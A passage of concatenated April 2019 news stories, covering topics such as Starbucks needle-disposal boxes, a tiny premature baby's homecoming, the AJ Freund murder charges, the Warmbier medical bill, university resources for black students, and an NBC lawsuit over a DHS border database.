had complimented "America's most anti-LGBT elected leader." "You're right, Cynthia. I was making a point in a foreign policy context, that under normal circumstances a Vice President wouldn't be given a silent reaction on the world stage," Biden tweeted in response. "But there is nothing decent about being anti-LGBTQ rights, and that includes the Vice President." The episode showed just one of the challenges the Biden will face. In promoting his relationships with Republicans, Biden also risks alienating the Democrats he would need to win a primary. Like McCain, Biden comes from a generation of politicians accustomed to touting their ability to reach across the aisle. Whether the strategy will work in 2020 remains to be seen. In his book, Biden ends with a passage characteristic of his political approach. "How do I want to spend the rest of my life?" he asks. "I want to spend as much time as I can with my family, and I want to help change the country and the world for the better. That duty does much more than give me purpose; it gives me something to hope for. It makes me nostalgic for the future." As the opioid crisis continues to affect millions of Americans, Starbucks says it will move forward with plans to install more needle-disposal boxes in select store bathrooms nationwide. The move, which the chain publicly started considering in January, comes as more people have signed up to support an employee-led campaign to install "safe needle disposal boxes in the bathrooms of high-risk areas." In February 2018, the Starbucks employee who started the petition reported being the third "partner" (the term Starbucks uses to describe its employees) to be pricked by a dirty needle in a Seattle-area cafe. Since then, the petition has received over 5,000 of its 6,000 signatures goal. Now, TODAY has confirmed that Starbucks locations in Seattle, Philadelphia and New York City have received needle-disposal boxes. "At this point, our focus is installing them where employees need them," a spokesperson for Starbucks told TODAY. "The opioid crisis is affecting people across the country and our partners sometimes see that, and it's important to not put employees in uncomfortable situations. I think there's been an industry-wide concern." The move to protect Starbucks workers started in the fall of 2018, according to the spokesperson, when the Occupational Safety and Health Administration (OSHA) investigated a cafe in Oregon after two of its employees reported being stuck with hypoallergenic needles while cleaning the store. Simultaneously, the chain's corporate leadership team met to discuss a solution to support staff across the country. In January, Starbucks announced it would be installing sharps boxes in bathrooms where employees or managers felt they were needed. Sharps boxes or, according to the U.S. Food and Drug Administration (FDA) "Sharps Disposal Containers," are thick plastic containers marked with the biohazard infectious waste warning symbol and a clear line that indicates when the container is full enough to be disposed of and replaced. The FDA recommends needle-disposal boxes "for use by health care professionals and the public to help reduce the risk of injury and infections from sharps." In 2017, the U.S. Department of Health and Human Services (HHS) declared that the use of opioids, both prescription and street drugs like heroin, to be a public health emergency. That year, the HHS reported 886,000 people used heroin (81,000 of whom tried the drug for the first time), and more than 15,000 died from an overdose. But the street drug isn't only on the streets. According to signees of the petition, users have made their way into Starbucks cafes to shoot up and then ditch used needles in the bathrooms leaving employees to clean up the mess and risk being pricked with a needle previously used by someone who may have contracted HIV or hepatitis. By January, according to the petition, needle-disposal boxes had been installed in six stores in Seattle. Despite vestibules creating a safer environment for employees who work in stores where heroin is a problem, there has already been an outcry from customers who feel Starbucks has gone too far. https://twitter.com/Filteredcold/status/1120571912688586754 Some think the chain is welcoming addicts, especially since making restrooms open to all after the racially charged incident that occurred in a Philadelphia Starbucks last year when two black men who waiting for another man, were arrested for sitting in the store without making a purchase. WTF, @Starbucks? First you want to be a homeless shelter, and now you welcome addicts to leave behind their dirty needles. Seriously? How 'bout you just serve coffee to your customers? Liza Smith (@LizaSoho) April 23, 2019 One tweeter called the coffee chain a "modern opium den." #Starbucks Needles & Coffee. The Modern Opium Den: Starbucks Installs Needle-Disposal Boxes. https://t.co/DjXcQ0HIkX Das Krumel (@das_krumel) April 23, 2019 Others pointed out how drug addicts may not even use the boxes. Starbucks actually thinks that drug addicts are so disciplined that they will carefully dispose of their drug needles properly in a container the company will install in their stores. Enjoy your latte. #LiberalLunacy David Corcoran (@dmclmc1) April 24, 2019 In response to patrons reacting unpleasantly to boxes being installed in Starbucks' bathrooms, the spokesperson stressed to TODAY that installing the boxes is a matter of safety, and the company hopes its customers will understand. On Monday, Business Insider reported that the chain will install sharps boxes in 25 markets, including Seattle, New York City and Philadelphia. However, Starbucks would not confirm a specific rollout date to TODAY, and denied that the boxes would be in dozens of markets by the summer. "Summer 2019 is not fully accurate," the spokesperson said, adding that the boxes are still in a "fairly" limited number of stores. "We're hoping to install them as soon as possible, but not by then and not in 25 U.S. markets." This story first appeared on TODAY.com. More from TODAY: Twenty-two ducklings were found abandoned in a tote sitting in the sun outside a liquor store Thursday in Putnam, according to a wildlife rehabilitator. I didnt really realize what was in there. I knew I did see a little squawking beak, said Katie Spenard, an employee at Big Garys Discount Liquors. While she thought it might have been one or two ducklings, she found 22 of them trapped in a covered 18-gallon tote in the beating sun. Those ducklings were panting, according to Spenard, who ran them inside. The ducks, all different sizes were trampling one another. Spenard said employees, even customers, used empty wine boxes to separate the ducks. But the ducklings got cold. So Katie and her sister put them in her sisters van where they and an animal services officer with Northeaster Connecticut Council of Governments (NECCOG) started rubbing the ducks to warm them up. They were going into shock. Some of them might have been (seizing). We werent really sure, Spenard explained, adding her sister called State Police and Sherry Harmon, rehabilitator and president of Nutmeg Acres Wildlife Rehabilitation. When they came to me, one of them was in very critical condition, unresponsive, trampled, and unfortunately that one did not make it, Harmon said. She had put that duckling in an incubator and tube fed it. Shes still nursing the 21 other ducklings to health which are domestic, not wild ducks, according to Harmon. We can only speculate, but Easter just happened. Unfortunately people will buy cute chicks and ducklings, Harmon said. She hopes this time around, they find a loving home. That they find amazing homes that they can live their ducky lives out, Harmon said. There werent cameras on the side of the building where the ducklings were found, according to liquor store staff. Troop D said they are not investigating. NECCOG said they dont have enough information to launch an investigation but anyone with information on who might be responsible is asked to give them a call. One of the worlds smallest surviving babies just came home to Connecticut after spending his first nine months of life in the hospital. John Florio will never have to look any further than his own hand to remember just how little his little boy was at birth. His newborn son fit entirely within it. My wedding band fit easily over his hand and foot, Florio said. Jaimie Florio was only 19 weeks pregnant when doctors noticed her babys growth falling behind because of IUGR, or intrauterine growth restriction. At 25 weeks, she was admitted to Westchester Medical Center in New York. By 26 weeks, the babys life was in jeopardy. If doctors didnt deliver immediately, they risked stillbirth. On a Friday afternoon in July, baby Connor Florio came out fighting all 11 ounces of him. The surgeon told us he came out swinging, Jaimie said. He said he was the tiniest baby hes delivered in 40 years and the feistiest. According to Dr. Dennis Davidson, unit chief of the infant floor at Blythedale Childrens Hospital in New York, babies born at 500 grams have about a 10 percent chance of survival. Connor weighed far less, at just 310 grams. A 26-week baby born at normal weight would probably have an 80 to 90 percent chance of survival today, Davidson said. However, Connor was less than half of the appropriate weight for a 26-week baby. Babies who are that small barely have a chance for survival. Two weeks would pass before the proud parents could even hold their son. So began a nine-month hospital stay full of scares and setbacks, including a brain bleed, a hole in his heart, eye disease and a potentially deadly infection. Connor required intensive respiratory support including a ventilator, developmental care and feeding tubes as he struggled to gain weight. Jaimie and John leaned on each other and their NICU nurses for support through the terrifying ordeal. I remember telling [Jaimie] that if something bad does happen, you need to enjoy the time that we did have with him, John said. But with the expert medical care he received at Blythedale and Maria Fareri children's hospitals, this little superhero defied the odds. With tiny clothes made for teddy bears, Jaimie and John found fun in the face of fear. A NICU nurse purchased a Superman outfit for Connor in October from Build-A-Bear, inspiring the parents to dress him in colorful costumes for every holiday after that: A pilgrim for Thanksgiving, an elf for Christmas, Cupid, a leprechaun, even Abraham Lincoln for Presidents Day a wink to his dads job as a history teacher. It gave the family something to look forward to. Youve got to smile and find the joy in everything that you do, because those moments are going to disappear, John said. And if you dont find the joy in them, youre not going to want to remember them. Now its time to make new memories at home. After 270 days in the hospital, Connor finally came home to Danbury on April 9. Hes still on oxygen, a feeding tube and a monitor, and takes medications eight times a day. But overall, hes happy and healthy, weighing almost 11 pounds, and doctors expect him to thrive. He cracks us up because hes such a goofball. He likes to stick his tongue out. He smiles all the time. Hes got a smirk-y smile, talks, John said. Who knew someone so tiny could teach a life lesson so big: No matter the odds, there is always hope. Even if its one in 500, why cant you be the one? A spokeswoman for a U.S. financial adviser from Connecticut who was charged with killing a hotel worker while on vacation in Anguilla said he acted in self-defense and accused the victim of attacking him. Kelcey Kintner released a statement Thursday alleging the worker showed up at Scott Hapgood's room unannounced, saying he was there to fix a broken sink. The statement alleges the worker was armed and demanded money before attacking the family. A spokesman for Anguilla police did not return a message for comment. Relatives of the victim could not be reached for comment. Hapgood returned to Connecticut after he was released on $74,000 bond. He faces an Aug. 22 hearing in Anguilla. The case has sparked racial tensions on an island that caters to wealthy tourists. Friday was National Arbor Day, but in Middletown it was about much more than planting a tree. The community came together to honor a local woman for her service and commitment. Lucille Ruggiero volunteered for years at the Wesley School in Middletown, creating deep roots and watching her young students blossom for years. "I think about her every day. She made a big impact on my life. She inspired me to think of other always, said Ann Anderson, a teacher at the school. Before she passed last December, Ruggiero up until the age of 94 helped Anderson's kindergarten class. Ruggiero volunteered for decades for the Nutmeg Big Brother Big Sister foster grandparent program "She mentored children in this school for over 20 years, she loved coming here. It gave form and meaning to her later years in life, said Andy Fleischmann, president and COO of Nutmeg Big Brother Big Sisters. Even when she was under the weather she'd motivate herself to get out here because she so loved working with these adorable kids. Fleischmann, along with Middletown Mayor Dan Drew, were on hand for today's ceremony, where they planted a tree in Ruggieros honor. The mayor also proclaimed Monday April 29 Lucille Ruggiero day in Middletown. It was emotional for Ruggiero's family, realizing all their grandmother had done for the Middletown community. "To see the mayor the president of big sisters and 100 kids she helped guide it was overwhelming, said her grandson Chris Cirullo. Ruggiero's legacy lives on in the hearts and minds she touched and the tree that will grow into something special, like the countless kids she helped "Every time I see that tree I am going to think of what a wonderful person she was and the impact she made on the lives of other people, Anderson said. My grandmother always loved dogwood flowers to memorialize her with a tree on arbor day right next to the classrooms that she taught....yeah I'll be making special trips here to see this tree, Cirullo said. The Nutmeg Big Brothers Big Sisters foster grandparent program impacts about 350 kids from Greater Hartford to eastern Connecticut. Bus drivers for Shelton Public Schools are threatening to go on strike if they cannot reach an agreement with their employer, Durham School Services. The union representing the drivers and monitors, CSEA SEIU Local 2001, voted to authorize a strike on Wednesday. No date has been announced, but the drivers picketed at the bus yard on Friday. The superintendent sent a letter to parents, warning them of the possible strike and warning them to come up with contingency plans on how they will get their children to school, as the district plans to continue having classes if a strike were to happen. Were fortunate where were walkable to school but I know many parents dont have that luxury and they have to get to work so it would be an inconvenience for them, Anne Gaydos, the mother of an elementary school student, said. Durham took over managing the bus services for Shelton last year. The city of Shelton owns the buses and Durham leases them. The drivers wages and benefits had already been negotiated with the previous bus company, Landmark Student Transportation. Durham came in and did tell everybody that was there [at a mandatory meeting], that they [Durham] would be honoring our contract, they just needed to change some wording. We all [the drivers] have stuck by, showing up every day and making sure we get our jobs accomplished. We havent had any fair negotiations at all, Angela DiMauro, a bus driver from Shelton, said. The union communications director, Ben Phillips, said the bus drivers hope they do not have to strike and can come to an agreement with Durham. But they are prepared to strike if they cannot reach an agreement soon because the drivers have families they need to support. We care about the kids, the families and making sure that kids get to school safe. Drivers and monitors, they have families as well. We need to make sure we have what we need to take care of them, said Ben Phillips, the communications director for CSEA SEIU Local 2001. NBC Connecticut reached out to Durham School Services early Friday morning and is still waiting for a response. The superintendent of schools in Shelton released a statement, urging parents to be prepared and have a plan. In past years, a group of 26 bicyclists called Team 26 has pedaled 400 miles from Connecticut to Washington, DC in an effort to urge Congress to enact stronger gun laws. This year, the group that honors those who were killed in the shooting at Sandy Hook Elementary School in Newtown will ride 600 miles to bring their message of peace, hope and love to the Tree of Life Synagogue in Pittsburgh. That is the house of worship where 11 people were killed and seven were wounded when a gunman opened fire on Oct. 27, 2018. The first leg of the ride for Team 26 will be to Baltimore, Maryland and they will stop in Peekskill, New York, Morristown, New Jersey and Trenton, New Jersey. They will travel to Philadelphia and Newark, Delaware, then stop in Gettysburg and Chambersburg, Pennsylvania and pay a visit to the Flight 93 National Memorial before ending near the Tree of Life synagogue in Pittsburgh. The groups mission is to reduce gun violence and there will be a send-off for the cyclists at Trinity Episcopal Church Service in Newtown from 8 a.m. to 9 a.m. An Illinois judge set bail at $5 million each for the parents of Andrew "AJ" Freund one day after the Crystal Lake couple was charged with murder in the death of their 5-year-old son. Joann Cunningham, 36, and Andrew Freund Sr., 60, appeared separately on Thursday morning at the McHenry County Jail during a hearing in which a prosecutor told Judge Mark Gerhardt that Freund allegedly beat Andrew "AJ" Freund and forced him into a cold shower. Read the full complaints against them (Warning: disturbing details) Authorities dug up a body Wednesday later confirmed to be that of AJ, who was reported missing a week ago. The McHenry County Coroner's office on Thursday identified the body as AJ's and said the cause of death was "craniocerebral trauma as a consequence of multiple blunt force injuries." Cunningham cried as the judge read the charges against her while Freund Sr. sat silent. Prosecutors initially called for $10 million bonds for each parent. Cunningham was charged with five counts of first-degree murder, four counts of aggravated battery, two counts of aggravated domestic battery and one count of failure to report a missing or child death. Freund Sr. was charged with five counts of first-degree murder, two counts of aggravated battery, one count of aggravated domestic battery, two counts of concealment of homicidal death and one count of failure to report a missing or child death. The judge's order means the parents would each have to post 10%, or $528,000, to be released from jail and would be subject to electronic monitoring. They were told they cannot contact each other or anyone under the age of 17 and must surrender any firearms and consent to random drug testing, should they post bond. Prosecutors had originally asked for a bond of $10 million. The two were next expected to appear in court April 29. Crystal Lake police said Wednesday that investigators located a body wrapped in plastic and buried in a shallow grave in a remote area of Woodstock, just a few miles from the family's Crystal Lake home. The discovery came a week to the day since AJ's parents said they last saw the child after putting him to bed around 9:30 p.m. on April 17. The following morning, Freund Sr. called police to report AJ missing, telling a dispatcher they'd checked "closets, the basement, the garage, everywhere,"in the house to no avail, according to the 911 call released Tuesday. But investigators quickly knocked down the possibility of a kidnapping. LISTEN TO THE 911 AUDIO HERE Police said both parents were questioned overnight Tuesday and into Wednesday morning. After investigators confronted them with cell phone data evidence "both Joann and Andrew Sr. provided information that ultimately led to the recovery, what we believe is the recovery of deceased subject AJ," said Crystal Lake Police Chief James Black. Law enforcement and first responders descended on a large wooded area in Woodstock Wednesday morning. At the same time, police were seen searching the family's Dolve Avenue home. Moments later, evidence technicians brought items from an evidence van into the Crystal Lake police station. Those items included a mattress, a large bin, two large brown bags, and an item that appeared to be a shovel with a long wooden handle. Police scoured the area surrounding the family's home for days after the boy's disappearance, searching hundreds of acres of land and water before centering their investigation on the house, saying they found no evidence of an abduction. "To AJs family, it is our hope that you may have some solace in knowing that AJ is no longer suffering and his killers have been brought to justice," Black said Wednesday. "We would also like to thank the community for their support and assistance during this difficult time. To AJ, we know you are at peace playing in heavens playground and are happy you no longer have to suffer." Both parents appeared Tuesday in McHenry County Circuit Court for a custody hearing related to their other son, who was removed from the family home following AJ's disappearance and is in custody of the Illinois Department of Children and Family Services. North Korea insisted the U.S. agree to pay $2 million in medical costs in 2017 before it released detained American college student Otto Warmbier while he was in a coma, a former U.S. official said Thursday. An envoy sent to North Korea to retrieve the 21-year-old student signed an agreement to pay the $2 million on instructions passed down from President Donald Trump, the former official told The Associated Press, speaking on condition of anonymity to discuss a sensitive diplomatic matter. The Washington Post, citing two people familiar with the situation, first reported the demand and that the envoy signed the agreement. The bill went to the Treasury Department, where it remained unpaid throughout 2017, the newspaper said. It is unclear whether the Trump administration later paid the bill, or whether it came up during preparations for Trump's two summits with North Korean leader Kim Jong Un. Trump on Friday said on Twitter that "No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else." He went on to criticize the Obama administration for its $1.7 billion payment cash payment of Iranian assets that had been unfrozen. That January 2016 payment came on the day Iran released four American prisoners. Trump also criticized the Obama administration for the 2014 prisoner trade with the Taliban for Sgt. Bowe Bergdahl, who had deserted his post in Afghanistan. White House press secretary Sarah Sanders had said the administration does not comment on hostage negotiations. U.S. policy is to refuse to pay ransom for the release of Americans detained abroad. While the majority of Americans detained by North Korea have been released in relatively good condition, Warmbier, a student at the University of Virginia, died in June last year shortly after he was flown home comatose after 17 months in captivity. Warmbier was seized from a tour group while visiting North Korea in January 2016 and convicted on charges of trying to steal a propaganda poster and sentenced to 15 years of hard labor. North Korea, which has denied accusations by relatives that it tortured Warmbier, has said he was provided "medical treatments and care with all sincerity." Sen. Rob Portman, R-Ohio, said the United States doesn't owe North Korea anything. "Otto Warmbier was mistreated by North Korea in so many ways, including his wrongful conviction and harsh sentence, and the fact that for 16 months they refused to tell his family or our country about his dire condition they caused," Portman said. "No, the United States owes them nothing. They owe the Warmbier family everything." Parents Fred and Cindy Warmbier are from suburban Cincinnati, Ohio. Robert Lewis, a spokesman for the law firm that filed suit against North Korea on behalf of the Warmbier family, declined comment. Yun told CNN on Thursday that he could not discuss details of his diplomatic discussions. He said his orders from Trump were to "do whatever" he could to get Warmbier back. Asked if it would be unusual for the U.S. to pay medical costs of detainees, Yun said: "There was some expectation the North Koreans might raise hospital costs." He said that in past instances not involving Warmbier "some money could have been handed over, yes." Associated Press writer Deb Riechmann contributed to this report. Fresh off his Broadway run, New Jersey's Bruce Springsteen looked West for inspiration on a new album he's planning to release on June 14. The 13-song disc is his first new studio album in five years. Titled "Western Stars," Springsteen said Thursday the album draws some inspiration from southern California pop records of the late 1960s and early 1970s. He released a song and video called "Hello Sunshine" after midnight on Thursday. Springsteen wrapped up a 236-show Broadway run last December. Springsteen recorded it primarily at home in New Jersey, with additional work in California and New York. Ron Aniello produced and plays on the album, which also has contributions from Springsteen's wife Patti Scialfa, Jon Brion, David Sancious, Charlie Giordano and Soozie Tyrell. "This record is a return to my solo recordings featuring character-driven songs and sweeping, cinematic orchestral arrangements," he said. "It's a jewel box of a record." Among the song titles are "Hitch Hikin'," ''Sleepy Joe's Cafe," ''Chasin' Wild Horses" and "There Goes My Miracle." Detectives from the Collin County Sheriff's Office announced the arrest of 15 people during a child exploitation operation. Police were also able to rescue a 5-year-old victim in Arkansas, who is believed to have been used in the production of child pornography. The investigation operation started in Allen, which led to Operation Atlas then connected to the residence in Arkansas, Lt. Nick Bristow said. Investigators said 14 different agencies were involved in the operation. The 15 people arrested were charged with online solicitation of a minor. Officers also seized a large number of electronics used by the suspects. "These criminals go to great lengths to hide their true identities as they seek to exploit our children using the worldwide web. The talent level, experience, and dedication of the Investigators and Analysts who worked on Operation Atlas are extraordinary and their ability to root out these criminals should be commended. There is no way to estimate the number of children saved by their efforts," said Collin County Sheriff Jim Skinner. Families in Pleasant Grove were forced out of their homes by flames today. It happened round 12:39 p.m. at the Lake June Village apartments in the 1200 block of North Masters Drive in East Dallas. Women, men and children were forced to leave things they held dearly behind. Ashley Flores and her family had only seconds to evacuate. "Me and my son literally walked out of that apartment with the clothes on my back, he didn't even have any clothes on," said Flores. Initial reports indicated there was smoke coming from the attic area and the fire quickly spread throughout the eight units below. "It was really just smoke at first, then the fire spread to all of the other apartments. It was crazy," said Demarco Gonzalez, a friend of the Flores family. Dallas Fire-Rescue extinguished the fire in approximately two hours. A total of 8 units were destroyed, displacing a total of 18 people (eight adults and ten children). The American Red Cross was called out to assist those in need. Investigators determined the fire was accidental in nature and began after a maintenance worker ignited combustibles within the walls of a second-floor unit while doing work. The flames made their way up the walls and into the attic before causing significant damage to the building. The big question many residents have is why there wasn't any sort of warning from the smoke detectors inside of the units. "The fire was seen in the attic space so that could answer the question of why it didn't go off," said Eric Beak, Dep. Chief of Fire Investigations for Dallas Fire-Rescue. Ashley Flores and her family now face the grim task of having to start over after losing everything they own. "Never in a million years did I think that I would wake up and my apartment is gone everything that I own gone. I'm a single mom and cannot imagine having to start over," said Flores. As universities make last ditch efforts to woo new students ahead of the May 1 National College Decision Day when students will make their final college decision a handful of public universities ranked lowest in a report on resources for black students are still struggling to support some of their currently enrolled students. When Kaidee Akullo moved nearly 400 miles from her hometown of Fort Collins, Colorado to attend Fort Lewis College in Durango, Colorado in 2016, she felt lucky to have been assigned to one of the few black resident assistants on campus. Durango is nearly 300 miles from Colorado Springs, the nearest major city and has an estimated 18,000 residents, according to the U.S. Census Bureau. The town had just more than 100 black or African American inhabitants in 2017. Her RA would later introduce her to Fort Lewis Black Student Union, which, at the time, was only in its second year on campus and had just three regularly attending members. Only 1% of the universitys 3,300 undergraduate students identified as black or African American in 2017, according to the National Center for Education Statistics. Fort Lewis currently employs only one black faculty member, according to school officials. Getty Images for Tony Awards Pro Akullo, a graduating public health major, and three other students from the college described to NBC what they saw as lack of resources available to Fort Lewis black students compared to other racial and ethnic groups that comprise the student body. They detailed the absence of professional staff to mentor black students and the lack of support services specific to black students. Fort Lewis College was one of 30 schools that ranked at the bottom of a University of Southern California report in September that assessed black college students success and resources at 506 public universities across the country. Shaun Harper, the founder and executive director of USCs Race and Equity Center, and Isaiah Simmons, an associate researcher at the center, created the report. The overall idea was if [education] is something were all paying into [via taxes], everyone should feel like theyre getting something out of it or at least that its working in their favor in some sort of way, Simmons said. Schools were rated on how the percentage of black undergraduates reflected their states percentage of black 18- to 24-year-old residents and how the difference between the percentage of black female students and the percentage of black male students compared to the national ratio. The report also compared the six-year graduation rates for black students and overall graduation rates for undergraduate students. The researchers additionally looked at the ratio of full-time, degree seeking black students to full-time black faculty members. Nearly eight months after the initial report was published, some of the 35 schools that scored the lowest argue that they have been taking active steps to improve resources for their black students. After speaking with 17 university spokespersons, presidents, faculty and students, similar themes emerged for why the schools struggled to perform well in the areas noted by the report. Many schools cited their statuses as predominantly indigenous- or Latino-serving institutions, their towns small population of black residents and their rural locations. Fort Lewis received Fs in three areas: gender equity, completion equity and black student-to-black faculty ratio. Junior Taylor ONeal, who identifies as black and Alaskan native, said that if it werent for Fort Lewis tuition waiver for indigenous students and the friends she found through the Black Student Union, she would have never transferred to the college. ONeal said that the resources available to black students at the institution were so few that they could not be compared to the resources she found at her previous universities, Notre Dame de Namur University in Belmont, California and Cuesta College in San Luis Obispo, California. Courtesy of the Fort Lewis College Black Student Union I feel like theres so little support for black students the least amount of support Ive ever experienced in education, ONeal said. This was one of my opportunities to attend college and get an education, and its at a place where its really hard to stay on course. To help create a support system for students like ONeal, this academic year, Black Student Union President Kaidee Akullo and other Black Student Union members opened the campus first Black Student Resource Center, a student-run space where Akullo said black students could build a strong community and have access to resources specific to our community. The Fort Lewis students who NBC spoke with claimed that the Black Student Union had been integral to providing resources the college failed to offer. Theres been a lot of growth in the past years that Ive been here, but a lot of the growth has been student driven, Akullo said. So its coming from within the community versus being an issue that the administration sees needs fixing so that we can have a better time here at the school. Fort Lewis College President Tom Stritikus said Akullo and other Black Student Union members were accurate to claim students were leading in providing important resources for their black peers. Stritikus, however, said he was concerned about black student equity even before he saw the USC report. Since becoming president less than a year ago, Stritikus said he has been focusing on hearing student grievances and addressing concerns about student and faculty diversity. One of the things that we launched even before that report started was a faculty diversity initiative to make sure that our hiring practices were yielding diverse candidate pools, Stritikus said. Last fall, Stritikus created the Presidential Diversity Council, which includes members from a variety of student groups, including the Black Student Union. The council gives input on the administrations new diversity policies and initiatives. Stritikus hopes to hear more student feedback from a climate survey that will include questions about inclusion and a sense of belonging on campus. He also said he wants to create a centralized student support service center and establish a program for first year students to increase resources for all students and make the college transition easier. Our position is we want to ensure every student on this campus feels a sense of belonging and a sense of inclusion on our campus, Stritikus said. We acknowledge that we have a lot of work to do. Like Fort Lewis College, other institutions ranked low on the list also admitted that they still have a lot of progress to make, but they also said the report does not tell the full story. Ronalda Cadiente-Brown, the associate vice chancellor for Alaska Native Programs at the University of Alaska Southeast and director of the School of Education Preparing Indigenous Teachers and Administrators for Alaska Schools, said her university did not have enough African-American students to allow it to offer the same resources it provides for the schools other populations. The University of Alaska Southeast received three Fs because of its gender disparity between black students (the student body is overwhelmingly female), the difference in graduation rate for black students and the lack of black full-time faculty members. In terms of African-American students, I would say that we dont have the population density that would enrich us to do what weve done with other populations, meaning clubs, advisers, faculty and the like, Cadiente-Brown said. At the start of the 2017-2018 academic year, about 1.3% of full-time undergraduate attendees identified as black, according to the National Center for Education Statistics. Despite having a predominantly white student population, the Juneau, Alaska campus is a nationally recognized Native-American serving institution with 12.4% of undergraduate students identifying as Alaskan natives or American Indians in 2017. The University of Alaska Southeast was one of four minority serving public institutions to be ranked among the top 10 lowest report scores. Cadiente-Browns explanation for the resources gap mirrored those given by administrators at Aberdeen, South Dakotas Northern State University. Like the University of Alaska Southeast, Northern received three Fs because most of its black students are male, black students graduation rate is more than three times smaller than the universitys overall graduation rate and the school employs no full-time, black faculty. But compared to the Alaskan institution, Northern State Universitys student population is 84% white with no other ethnic or racial group representing more than 5%. Although Diversity Coordinator and Director of Multicultural Student Affairs Layton Cooper said the data doesnt lie, Cooper also said he doesnt think the report is a true reflection of the school or the town. I think that while you do have numbers, data and statistics, it really doesnt tell the whole story, Layton, a black Chicago native that moved to Aberdeen 13 years ago. I think were headed in the right direction in terms of staffing, and I think the students that are here of color would say that they do feel welcomed and they do know that they have people that can connect with them and speak with them in their own way. A student shared that although he hasnt always felt at home at Northern, thats starting to change. Northern State University junior Harrison Bruns felt so uncomfortable at the school that about a month into his first semester he called his mom and begged her to let him transfer to a school like Howard University, a historically black institution. Although Bruns said he visited his grandmother in Aberdeen regularly before enrolling at Northern, he was stunned by the lack of diversity compared to his Minnesota high school. Courtesy of Northern State University Coming to Northern it was weird being the only black kid in a class, which happened to me on multiple occasions, Bruns said. Thats super weird coming from a high school where me and a third of the class was black. It was more of a cultural shock getting taken out of living in an environment that was relatively diverse and coming here. After Bruns mother told him to at least finish his school year before deciding to transfer, Bruns began to get more involved in student organizations. Through his position as a president of the Campus Activity Board, Bruns has hosted events that bring diverse voices, like that of black comedian Erin Jackson, to campus. Bruns cited the appointment of Dr. Timothy Downs as the schools president during Bruns freshman year as a possible factor in what Bruns sees as positive changes. Northern State University has been taking active steps to address the issues highlighted in the report and the lack of diversity that soured Bruns freshman year, according to university Spokesperson Justin Fraase. Through programs like TRIO a federal education program that provides resources to low-income, first-generation and disabled students and the Student Success Center, Fraase said the university has been able to increase retention rates for freshman and sophomores to more than 72%. Fraase said that the administration is also encouraging its admission counselors to expand their recruitment to cities like Minneapolis, Minnesota and St. Paul, Minnesota, which are considerably more diverse than Aberdeen, South Dakota. Northern and other public universities will allow incoming students from Colorado, Iowa, Montana, Nebraska, North Dakota and Wyoming to pay South Dakota in-state tuition rates as part of a statewide initiative to expand South Dakotas workforce, according to a South Dakota Board of Regents press release. Fraase said the new South Dakota Advantage tuition program along with the states long-running tuition agreement with Minnesota will help Northern State University compete with surrounding instate schools and institutions in larger metropolitan areas like Omaha, Nebraska and Denver, Colorado. The university is also trying to increase its facultys diversity by revamping human resource policies and posting job openings on more websites so that more people see them. In addition to ensuring that we get our students out, graduated and ready for the workforce, we also need to bring diversity to Aberdeen and be one of those catalysts of change for Aberdeen, Fraase said. I think that falls on us as a higher [education] institution, and I think we accept that challenge. Isaiah Simmons, one of the reports creators, occasionally agreed that some of the factors that caused the universities to fail in certain categories are difficult to resolve. Simmons acknowledged that institutions that received low scores for representation equity because the percentage of enrolled black students did not equal the states percentage of college-aged black individuals are not completely at fault. Things like that are a bit harder to measure, but I think what you can do is you can still look to create an environment and atmosphere that is welcoming towards people from various racial identities, Simmons said. Simmons also commended schools like the University of Alaska Southeast for supporting an underserved minority group, although he said that doesnt give the institution a license to ignore investing. Even if the area around the school lacks diversity, Simmons suggested that administrators expand their recruitment to more diverse locals, train their staff to promote diversity and bring diverse perspectives to campus through public speakers. To those who argued that the report did not show the whole story, Simmons responded, The numbers are what they are. Statistics used in the report are based on federally reported data on public universities. Simmons added that the rankings are simply a reality check to concretely show schools what theyre doing wrong and right. Ultimately, Simmons said, time will tell if the universitys policies to increase resources for black students are working. Now more than ever, especially for these underrepresented populations and students, if youre going to invest the time and opportunity cost into going to college, its important to demonstrate that its a place where you can go and thrive and succeed, Simmons said. NBC San Diego and the Reporters Committee for Freedom of the Press (RCFP) filed a federal lawsuit this week that challenges the Trump administrations refusal to release detailed information about a database used to track journalists, attorneys and immigration advocates at the San Ysidro border crossing. In March, NBC 7 Investigates obtained internal documents and screenshots that showed how U.S. border agents have compiled information on -- and kept track of -- organizers, instigators, and media tied to the Migrant Caravan. The documents were provided to NBC San Diego by a Department of Homeland Security (DHS) employee who requested anonymity due to fear of retaliation for sharing sensitive information with the media. The U.S. government created a secret database of activists, journalists, and social media influencers tied to the migrant caravan. NBC 7's Mari Payton has more. That DHS source said these intelligence-gathering efforts were done under the umbrella of Operation Secure Line, a DHS initiative that monitors the Central American migrant caravan. The source said the SharePoint application or database was used by agents from Customs and Border Protection (CBP), Immigration and Customs Enforcement (ICE), the U.S. Border Patrol, Homeland Security Investigations and agents with the San Diego sector of the Federal Bureau of Investigation (FBI). According to the documents, the database lists U.S. and foreign citizens who should be subjected to secondary screenings at the border. In some cases, alerts have been placed on those citizens passports. Those alerts prevented at least three attorneys and a photojournalist from entering Mexico to provide legal assistance to caravan members, or document the caravans presence in Tijuana. NBC San Diego asked all of the border agencies associated with the database questions about how it was created, how it was used and whether the tactics were legal. The agencies did not answer those questions. Instead, a CBP spokesperson sent a broad statement stating the agency's tactics were in response to new challenges agents were facing while protecting the border. The spokesperson later said all names in the database were people who were present during violence that broke out at the border in November 2018 and January 2019. Journalists, attorneys and immigration advocates NBC spoke with said they were not present for either of those violent incidents, nor were they asked about those incidents during secondary inspections. Efforts to gather this type of information are a standard law enforcement practice, said CBPs assistant commissioner of public affairs, Andrew Meehan. CBP does not target journalists for inspection based on their occupation or their reporting. Federal lawmakers reacted to NBCs initial reporting by demanding information and documentation from CBP and DHS administrator. Those lawmakers set deadlines for the receipt of that information, but those deadlines passed in March, and CBP and DHS have not responded to those requests for information. Given the lack of answers provided about the surveillance program, NBC San Diego filed a Freedom of Information Act (FOIA) request with DHS, CBP, ICE and USCIS for documents and emails related to the database. Specifically, the FOIA request asks for records related to Operation Secure Line and the creation of the SharePoint application used by agents, as well as emails shared between agencies monitoring the migrant caravan. The RCFP filed a separate but similar request for records, including policies and procedures related to the surveillance of journalists by federal agents. A week after NBC 7 filed the FOIA requests, CBP approved the expedited release of records and a fee waiver for costs. But CBP has yet to produce any documents. An RCFP attorney said the federal agencies have also not responded to the committees request for public documents. NBC 7s reporting that the government has tracked journalists and, in some cases, stopped and questioned journalists at the border, is deeply troubling, said Katie Townsend, RCFPs legal director. Journalists should not be monitored or questioned by government officials based on the subject matter of their 